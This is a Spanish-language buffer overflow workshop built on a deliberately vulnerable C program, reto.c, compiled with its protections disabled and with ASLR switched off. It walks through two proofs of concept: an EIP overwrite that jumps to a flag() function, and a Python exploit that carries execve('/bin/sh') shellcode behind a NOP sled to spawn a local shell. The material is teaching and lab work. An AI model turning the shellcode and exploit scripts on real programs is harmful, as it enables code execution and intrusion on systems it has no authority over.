Buffer Overflow Workshop
===
<i class="fa fa-file-pdf-o" aria-hidden="true"></i> **Buffer Overflow Workshops**
<i class="fa fa-user-circle-o" aria-hidden="true"></i> Johnny Pan (codeskill)
<i class="fa fa-clock-o" aria-hidden="true"></i> 2023-11-28
[TOC]
:::info
**Descripción:**
En la siguiente taller vamos analizar dos formas de explotar el programa **reto.c**.
La primera forma, vamos a tratar que el programa nos imprima la bandera, accediendo a la función **flag()**, alterando el flujo del programa y para la segunda, vamos a obtener una shell local en la propia máquina.
```c=
codeskill@linux:~$ cat reto.c
#include <stdio.h>
#include <string.h>
void flag(){
printf("Felicidades, haz obtenido el flag{bof2023}\n");
}
int main(int argc, char *argv[]){
char buffer[100];
if (argc != 2){
printf("Uso: %s argumento\n",argv[0]);
return -1;
}
strcpy(buffer,argv[1]);
printf ("%s\n",buffer);
return 0;
}
```
:::
Antes de comenzar debemos revisar si la configuración de **ASLR (Address Space Layout Randomization)** está activada en la máquina virtual de Linux, este mecanismo de seguridad genera direcciones aleatorias en el stack y en el heap para evitar las vulnerabilidades de desbordamiento de buffer. Si se encuentra habilitado será necesario desactivarlo.
```shell
codeskill@linux:~$ cat /proc/sys/kernel/randomize_va_space
2
codeskill@linux:~$
```
Si nos retorna un 2, significa que esta activo, así que procedemos a desactivarlo, con el siguiente comando.
```shell
codeskill@linux:~$ echo 0 > /proc/sys/kernel/randomize_va_space
codeskill@linux:~$ cat /proc/sys/kernel/randomize_va_space
0
```
Si no funciona podemos usar alguno de los siguientes comandos, para deshabilitarlo temporalmente
```shell
codeskill@linux:~$ sudo sysctl kernel.randomize_va_space=0
codeskill@linux:~$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Ahora procedemos a compilar el programa **reto.c** agregando ciertos parámetros que debemos indicarle a **gcc**, los cuales explicó a continuación.
|Parámetro|Descripción|
|-|-|
|**-fno-stack-protector**|Poder sobrescribir la pila|
|**-z execstack**|Poder ejecutar código en la pila|
|**-mpreferred-stack-boundary=2**|Asignar 4 bytes límite a la pila|
|**-m32**|Compilar el programa en 32 bits|
```shell
codeskill@linux:$ gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -m32 reto.c -o reto
codeskill@linux:$ ls
reto reto.c
```
Durante el desarrollo de este taller, realiaremos dos pruebas de concepto que nos permitirán resolver los retos solicitados. Inicialmente se analizará el código fuente suministrado **reto.c** y posteriormente se utilizarán varias herramientas en GNU/Linux, así como mi experiencia en diferentes lenguajes de programación para obtener acceso a la función **flag()** y a la shell.
Estos métodos no son los únicos que existen y varian dependiendo del entorno en que nos encontramos.
Para realizar correctamente las pruebas de concepto, se creará un laboratorio de pruebas mediante una máquina virtual con la distribución **Ubuntu Server 20.04** y nos conectaremos a la VM mediante SSH para poder copiar y pegar los comando directamente en la terminal.
## PoC #1
En la primer prueba de concepto, se realizá una explicación paso a paso para obtener el acceso a la función **flag()**, modificando el flujo del programa mediante un desbordamiento de buffer.
### Requisitos
* Terminal
* SSH
* GCC
* GDB
* OBJDUMP
* GREP
* PHP, Perl, Python o Ruby
Primero analizaremos el código fuente del programa **reto.c** y comentaremos el código para una mejor comprensión
```c=
#include <stdio.h> // Inclusión de la librería STDIO.H
#include <string.h> // Inclusión de la librería STRING.H
void flag() { // Función que se debe acceder en el PoC #1
printf("Felicidades, haz obtenido el flag{bof2023}\n"); // Imprime el flag
}
/*
* Función principal main(int argc, char *argv[])
* argc toma el valor de los argumentos recibidos a partir del segundo
* ya que el primer valor siempre será el nombre del programa
* argv toma en cada posición los argumentos de caracteres suministrados
*/
int main(int argc, char *argv[]) {
char buffer[100]; // Variable buffer para almacenar 100 caracteres
if (argc != 2) { // Condición para enviar solo un argumento
printf("Uso: %sargumento\n",argv[0]); //Se imprime la ayuda
return -1; //Finaliza con error el programa
}
strcpy(buffer,argv[1]); // Copia el argumento a la variable buffer
printf ("%s\n",buffer); // Coloca en pantalla el valor del buffer
return 0; //Finaliza el programa con éxito.
}
```
```bash
codeskill@linux:~$ nano reto.c
```
![image](https://hackmd.io/_uploads/rk-XsoWHT.png)
Salvamos el archivo con **Ctrl+O** y salimos con **Ctrl+X**
Probamos el programa que acabamos de compilar, enviandole como argumento una cadena de caracteres para determinar su funcionamiento.
```shell=
codeskill@linux:~$ ./reto
Uso: ./reto argumento
codeskill@linux:~$ ./reto Johnny
Johnny
codeskill@linux:~$ ./reto 1234567890
1234567890
```
Luego utilizaremos algún lenguaje de script como PHP, Perl, Python o Ruby para generar una cadena de texto suficientemente grande como para sobrescribir la variable buffer de nuestro programa. Como sabemos que la varible buffer tiene un máximo de almacenamiento de 100 bytes, deberemos introducir más de 99 caracteres, ya que el carácter '\0' de fin de cadena
lo añade siempre al final.
Usaremos el acento invertido para pasar como argumentos de la función la salida del script. Mostraré la forma de realizarlo en diferentes lenguajes y quedará a gusto de cada quien cual lenguaje utilizar.
**PHP**
```shell
codeskill@linux:~$ ./reto `php -r 'echo str_repeat("A", 50);'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```
**Perl**
```shell
codeskill@linux:~$ ./reto `perl -e 'print "A"x50'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```
**Python**
```shell
codeskill@linux:~$ ./reto `python -c 'print "A"*50'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```
**Ruby**
```shell
codeskill@linux:~$ ./reto `ruby -e 'print "A"*50'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```
Vamos a ver que ocurre si probamos pasando cadenas de texto con más caracteres. Esta vez utilizaré el código en Python, iniciando en 100 caracteres e iré aumentando de 5 en 5 hasta obtener el mensaje de **Segmentation fault**.
```shell
codeskill@linux:~$ ./reto $(python -c 'print "A"*100')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
codeskill@linux:~$ ./reto $(python -c 'print "A"*105')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
codeskill@linux:~$ ./reto $(python -c 'print "A"*110')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
codeskill@linux:~$
```
Es aquí como observamos un comportamiento extraño y comenzamos nuestro análisis del desbordamiento del buffer. Vemos que si sobrepasamos los caracteres soportados obtenemos el mensaje de **"Segmentation fault"**. Este mensaje significa que hemos sobrescrito el registro **EIP** y ahora apunta a una dirección no permitida.
Para saber exactamente qué hemos sobrescrito en **EIP**, utilizaremos el comando **gdb** que es el depurador que viene por defecto en Linux.
Si deseamos generar dumps de core para dar seguimiento a la
dirección de memoria, por defecto esta opción está en deshabilitada y se puede comprobar con el comando **`ulimit -a`**, para habilitar la opción deberemos colocar la palabra unlimited o un número grande para que se puedan escribir dumps para realizar el debug, de la siguiente forma.
```bash
codeskill@linux:~$ ulimit -a
core file size (blocks, -c) 0
data seg size (kbytes, -d) unlimited
scheduling priority (-e) 0
file size (blocks, -f) unlimited
pending signals (-i) 7525
max locked memory (kbytes, -l) 65536
max memory size (kbytes, -m) unlimited
open files (-n) 1024
pipe size (512 bytes, -p) 8
POSIX message queues (bytes, -q) 819200
real-time priority (-r) 0
stack size (kbytes, -s) 8192
cpu time (seconds, -t) unlimited
max user processes (-u) 7525
virtual memory (kbytes, -v) unlimited
file locks (-x) unlimited
```
```bash
codeskill@linux:~$ ulimit -c unlimited
codeskill@linux:~$ ulimit -a
core file size (blocks, -c) unlimited
data seg size (kbytes, -d) unlimited
scheduling priority (-e) 0
file size (blocks, -f) unlimited
pending signals (-i) 7525
max locked memory (kbytes, -l) 65536
max memory size (kbytes, -m) unlimited
open files (-n) 1024
pipe size (512 bytes, -p) 8
POSIX message queues (bytes, -q) 819200
real-time priority (-r) 0
stack size (kbytes, -s) 8192
cpu time (seconds, -t) unlimited
max user processes (-u) 7525
virtual memory (kbytes, -v) unlimited
file locks (-x) unlimited
```
:::info
Los pasos con el archivo **core** son opcionales
:::
Podemos generar errores de desbordamiento de buffer agregando cada vez más caracteres al argumento, de esta forma podemos darle seguimiento a las direcciones de memoria con los archivos **core** que se crean.
```bash!
codeskill@linux:~$ ./reto $(python -c 'print "A"*120')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
```
Lo analizamos de la siguiente forma.
```bash
codeskill@linux:~$ gdb -c core -q
```
Para esta PoC no voy a utilizar los archivos **core**, sino que realizaré el debug directamente desde **gdb**, de la siguiente manera.
```bash
codeskill@linux:~$ gdb -q reto
(gdb) run $(python -c 'print "A"*110')
```
Al volver a ejecutar el código anterior obtenemos el valor de **EIP** es **0xf7004141**. Esa dirección es debido al valor de la letra **"A"** en hexadecimal es **0x41**, es decir, hemos sobrescrito parcialmente **EIP** con la letra **"A"**. Usamos el comando `i r` que equivale a **info registers** dentro de **gdb** para observar el valor de los registros.
![image](https://hackmd.io/_uploads/HkGLAsZrT.png)
Continuamos probando y aumentamos la cantidad de "A" hasta sobreescribir completamente el registro **EIP**. En esta ocasión aumentaré la cantidad de "A" a 112 y vemos que sobreescribimos completamente el registro **EIP** con el valor **0x41414141**.
![image](https://hackmd.io/_uploads/SJYJy2ZHT.png)
Una vez que calculamos el desplazamiento adecuado, verificamos que realmente se esta escribiendo correctamente el registro **EIP** y cambiamos el script anterior agregando la letra **"B"** y restando la cantidad de letras **"A"**.
```bash
codeskill@linux:~$ gdb -q reto
(gdb) run $(python -c 'print "A"*108+"B"*4')
```
![image](https://hackmd.io/_uploads/Hy8KlhbHa.png)
Vemos que ahora el valor del registro **EIP** es **0x42424242** que equivale a **"BBBB"**. Con estas pruebas ya podemos alterar el flujo del programa para tener acceso a la función **flag()**.
Dentro del proceso de Debug con **gdb** desensamblamos la función **flag()** para conocer en que segmento de la memoria se encuentra escribiendo el siguiente comando.
```
(gdb) disassemble flag
```
![image](https://hackmd.io/_uploads/rkv8Z3bH6.png)
Vemos que la función **flag()** está en la dirección **0x56556211** la cual debemos pasar a formato hexadecimal de la siguiente forma **"\x11\x62\x55\x56"**. Entonces modificaremos nuestro script de Python y colocaremos la dirección en el registro **EIP** recordando ponerla en formato Little-endian.
![image](https://hackmd.io/_uploads/Sy9NEuGSa.png)
```bash
codeskill@linux:~$ gdb -q reto
(gdb) run $(python -c 'print "A"*108+"\x11\x62\x55\x56"')
```
![image](https://hackmd.io/_uploads/HJ3-9QMrT.png)
De esta forma resolvimos el primer reto y según muchas recomendaciones que encontré en Internet, podemos utilizar **NOP** para no generar tantos caracteres en pantalla. Programando de la siguiente forma nuestro script de Buffer Overflow para obtener la función **flag()**.
```python=
#!/usr/bin/env python
# Script de Buffer Overflow para el flag
# Johnny Pan @ 2023
nops = '\x90'*108
# Option 1
flag1 = '\x11\x62\x55\x56'
# Option 2
flag2 = '\x56\x55\x62\x11'[::-1]
print nops + flag1
```
Ahora ejecutamos el programa **reto** pasando como argumento la salida del script en **Python** que acabamos de crear. De la siguiente forma.
```bash
codeskill@linux:~$ ./reto $(./flag.py)
```
![image](https://hackmd.io/_uploads/HJsyY7fST.png)
Con eso terminamos la PoC #1.
## PoC #2
En la segunda prueba de concepto, se realizá una explicación paso a paso para obtener una shell local en la propia máquina, modificando el flujo del programa mediante un desbordamiento de buffer.
### Requisitos
* Terminal
* SSH
* Kali Linux
* GCC
* GDB
* OBJDUMP
* GREP
* Python
Para realizar este ejercicio utilizamos gran parte del conocimiento adquirido en el PoC #1 y vamos a programar primero la shell en lenguaje C, que posteriormente debemos pasar a código ensamblador para realizar nuestro ataque de buffer overflow.
Comenzamos escribiendo la shell **`nano shellcode.c`**. Existen muchos ejemplos en Internet, pero tomaremos el código fuente de la siguiente página
http://www.kernel-panic.it/security/shellcode/shellcode5.html
```c=
#include <unistd.h>
int main() {
char *args[2];
args[0] = "/bin/sh";
args[1] = NULL;
execve(args[0], args, NULL);
}
```
Compilamos el código fuente y lo probamos.
```bash
codeskill@linux:~$ nano shellcode.c
codeskill@linux:~$ gcc -w shellcode.c -o shellcode
codeskill@linux:~$ ./shellcode
$ whoami
codeskill
```
Luego pasamos el código de C a lenguaje ensamblador.
```asm=
jmp short mycall ; Salta a la función mycall
shellcode:
pop esi ; Almacena dirección de "/bin/sh" en ESI
xor eax, eax ; Pone en cero EAX
mov byte [esi + 7], al ; Byte nulo al final de la cadena
mov dword [esi + 8], esi ; Memoria debajo de la cadena
; "/bin/sh", contendrá el arreglo que
; apunta al segundo argumento de execve
; En [ESI+8] guardamos la dirección
; de la cadena
mov dword [esi + 12], eax ; En [ESI+12] el puntero NULL donde
; EAX es 0
mov al, 0xb ; Almacena syscall (11) en EAX
lea ebx, [esi] ; Copia la dirección de la cadena en EBX
lea ecx, [esi + 8] ; 2 Argumento para execve
lea edx, [esi + 12] ; 3 Argumento para execve (Puntero NULL)
int 0x80 ; Ejecuta la llamada al sistema
mycall:
call shellcode ; Pone dirección de "/bin/sh" en la pila
db "/bin/sh"
```
Posteriormente ensamblamos el archivo **shellcode.asm** y utilizamos la herramienta **objdump** para desensamblar el programa y así poder utilizarlo como shellcode en nuestro script de ataque.
```bash
codeskill@linux:~$ nasm -f elf shellcode.asm
codeskill@linux:~$ objdump -d shellcode.o
```
![image](https://hackmd.io/_uploads/BJcQCJQBT.png)
Utilizamos **gdb** y realizamos los cálculos correspondiente para obtener la dirección exacta del registro **ESP (Stack Pointer)** cuando inyectamos el shellcode, de la siguiente manera.
En el ejercicio anterior habiamos visto que se realizaba el desborde del buffer con **112 bytes**. Entonces realizamos la operación correspondiente para obtener la cantidad de caracteres que debemos incluir en la prueba.
Cantidad de caracteres = 112 - tamaño del shellcode - tamaño de EIP
Cantidad de caracteres = 112 - 38 - 4
Cantidad de caracteres = 70
**run $(python -c 'print "SHELLCODE" + "A" * 70 + "BBBB"')**
```bash!
codeskill@linux:~$ gdb -q reto
(gdb) run $(python -c 'print "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"+"A"*70+"BBBB"')
```
![image](https://hackmd.io/_uploads/r1SZ1xXrT.png)
Ahora buscamos la dirección donde se ejecuto el shellcode. Dentro de **gdb** ejecutamos el siguiente comando restando los **112+4 bytes** (buffer overflow + tamaño de EIP), de esta forma podemos observar el registro.
```bash
(gdb) x/40x $esp-116
```
![image](https://hackmd.io/_uploads/S1AjJgmr6.png)
Vemos que nuestro shellcode **0x315e18eb** inicia en la dirección **0xffffd4ac:** por lo tanto tomamos la dirección que esta a la izquierda de **0x315e18eb**, que en nuestro caso sería **0xffffd4b0** y la convertimos en formato hexadecimal ordenado de forma invertida.
```bash
0xffffd4b0 = \xb0\xd4\xff\xff
```
Luego sustituimos la cadena **"BBBB"** por **\xb0\xd4\xff\xff** en el script de prueba.
```bash!
codeskill@linux:~$ gdb -q reto
(gdb) run $(python -c 'print "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"+"A"*70+"\xb0\xd4\xff\xff"')
```
Y con esto obtenemos el acceso a una shell local mediante una inyección de nuestro shellcode en el registro **EIP** del programa en ejecución.
![image](https://hackmd.io/_uploads/S105bg7BT.png)
Ahora generamos un pequeño script en **Python** para pasarlo como argumento al programa.
```shell
codeskill@linux:~$ nano shellcode.py
```
```python=
#!/usr/bin/env python
# Script de Buffer Overflow para obtener local shell
# Johnny Pan @ 2023
shell = '\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'
eip = '\xb0\xd4\xff\xff'
letras = 'A'*(112-len(shell)-len(eip))
print shell + letras + eip
```
Si queremos ejecutar el programa fuera de **gdb** no obtendremos la shell, debido a que **gdb** añade algunos bytes a la pila (entre 32 y 64) y la dirección a la que saltamos ya no es la de nuestra shell.
```bash
codeskill@linux:~$ ./reto $(./shellcode.py)
```
![image](https://hackmd.io/_uploads/B1mK4g7Bp.png)
Para solucionarlo, utilizaremos un **sled de NOPs**, que consistirá en llenar el buffer con la instrucción **NOP** antes de la **shellcode**, así cuando realicemos el salto a una dirección, habrá más posibilidades de que caigamos en una instrucción **NOP** y se deslice el flujo del programa hasta llegar a la **shellcode**.
Modificaremos nuestro script de nuevo añadiendo NOPs en vez de letras "A". También cambiaremos el valor de **EIP** por lo que hemos dicho antes de **gdb** y le sumaremos entre 32 y 64 bytes, en este caso 40.
Podemos usar Python para saber cuanto tiene que ser el desplazamiento. Ejecutamos el comando **python** y ponemos la dirección anterior de **EIP** y le sumamos los 112 que es el tamaño que habiamos encontraba donde ocurría el desbordamiento + 40 por los ajustes en **gdb**.
```python=
python -c 'print (hex((DIRECCION DE EIP)+112+40))'
python -c 'print (hex(0xffffd4b0+112+40))'
0xffffd548
```
![image](https://hackmd.io/_uploads/r17ujeQBa.png)
Modificamos nuestro script.
```shell
codeskill@linux:~$ nano shellcode.py
```
```python=
#!/usr/bin/env python
# Script de Buffer Overflow para obtener local shell
# Johnny Pan @ 2023
shell = '\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'
eip = '\x48\xd5\xff\xff'
nops = '\x90'*(112-len(shell)-len(eip))
print nops + shell + eip
```
Probamos que el nuevo código funcione correctamente desde la terminal.
```bash
codeskill@linux:~$ ./reto $(python shellcode.py)
```
![image](https://hackmd.io/_uploads/BJlRjlQra.png)
Vemos que funciona correctamente y tenemos acceso a una shell local.
Con eso damos por finalizado el PoC#2 y resolvimos los dos retos de manera exitosa.
# Referencias
* Blog C para Operativos. (2015). Aprendiendo Assembler Para Entender C.
* https://mgarciaisaia.github.io/tutorial-c/blog/2015/02/19/aprendiendo-assembler-para-entender-c/
* Kernel Panic IT. (2017). Writing shellcode for Linux and *BSD.
* http://www.kernel-panic.it/security/shellcode/shellcode5.html
* El laberinto de falken. (2013). Explotando vulnerabilidades, buffer overflow y shellcode.
* http://www.ellaberintodefalken.com/2013/07/vulnerabilidades-shellcode-buffer-overflow.html
* Blog Ricardo. (2009). Obtener información de Binarios y librerías compartidas (nm/objdump).
* https://blogricardo.wordpress.com/2009/11/13/obtener-informacion-de-binarios-y-librerias-compartidas-nmobjdump/
* Hatriot Github. (2015). Ntpdc Local Buffer Overflow.
* http://hatriot.github.io/blog/2015/01/06/ntpdc-exploit/
* Ciudad Real y Software Libre. (2017). Hacking serio básico: Introducción a los "shellcodes" (I) recipe security. Recuperado de http://crysol.org/es/node/493
* Dhaval Kapil. (2015). Buffer Overflow Exploit.
* https://dhavalkapil.com/blogs/Buffer-Overflow-Exploit/
* Pentester ES. (2009). Exploiting (I): Buffer Overflow != Stack Overflow.
* http://www.pentester.es/2009/11/exploiting-i-buffer-overflow-stack.html
* El Blog de Daniel Lerch. (2007). Buffer Overflow.
* https://dlerch.blogspot.com/2006/12/buffer-overflow-i.html
* Insecure Org. (1995). How to write Buffer Overflows.
* http://insecure.org/stf/mudge_buffer_overflow_tutorial.html
* ZeroDay - Hacking - Cyber Seguridad - Chile. (2017). Stack Buffer Overflow: Hackeando la memoria en Linux x64.
* http://www.zeroday.cl/2017/09/stack-buffer-overflow-hackeando-la.html
* Projsolution. (2017). Why is '<<<' filtering null bytes in gdb where '<()' does not?.
* http://www.projsolution.com/a108-127804-bash
* Samsclass. (2015). Proj 13: 64-Bit Buffer Overflow Exploit (15 pts.).
* https://samsclass.info/127/proj/p13-64bo.htm
* Mr.Un1k0d3r RingZer0 Team. (2014). 64 Bits Linux Stack Based Buffer Overflow.
* https://www.exploit-db.com/docs/english/33698-64-bit-linux-stack-based-buffer-overflow.pdf
* Badbytes. (2017). Exploit Dev 0x01 | 64-bit Linux Stack Buffer Overflow.
* http://badbytes.io/2017/02/15/exploit-dev-0x01-64-bit-linux-stack-buffer-overflow/
* Techorganic. (2015). 64-bit Linux stack smashing tutorial: Part 1.
* https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/
* The Rabb1t Hole. (2017). Linux 64-bit Buffer Overflow Tutorial.
* http://www.therabb1thole.co.uk/tutorial/linux-64-bit-buffer-overflow-tutorial/
* Exploit-db. (2007). [Spanish] Introduccion a los overflows en Linux x86_64.
* https://www.exploit-db.com/papers/13065/
* Felipe Da silva Prusokowski. (2015). Análise de buffer overflow em sistemas de 32 bits e 64 bits.
* https://www.lume.ufrgs.br/bitstream/handle/10183/138246/000988812.pdf?sequence=1
* Foro Hackxcrack. (2012). Introduccion Exploits Shellcoding Y desbordamientos Buffer.
* https://hackxcrack.net/foro/hacking/introduccion-exploits-shellcoding-y-desbordamientos-buffer/
**Videos**
* Youtube. (2011). Buffer Overflow Tutorial (Paso a Paso).
* https://www.youtube.com/watch?v=mxKIAjGMH_I
* Youtube. (2016). Linux x86_x64 - Stack based buffer overflow.
* https://www.youtube.com/watch?v=qESEfFzcKkk
* Youtube. (2016). Smashing Stack + Shellcode for x86/x64 Linux.
* https://www.youtube.com/watch?v=9q1VL8UU8h0
* Youtube. (2016). PART 2: Demo of Buffer Overflow and Shell Codes (Spawn Root Shell and System Shutdown).
* https://www.youtube.com/watch?v=NazbhvyKpqw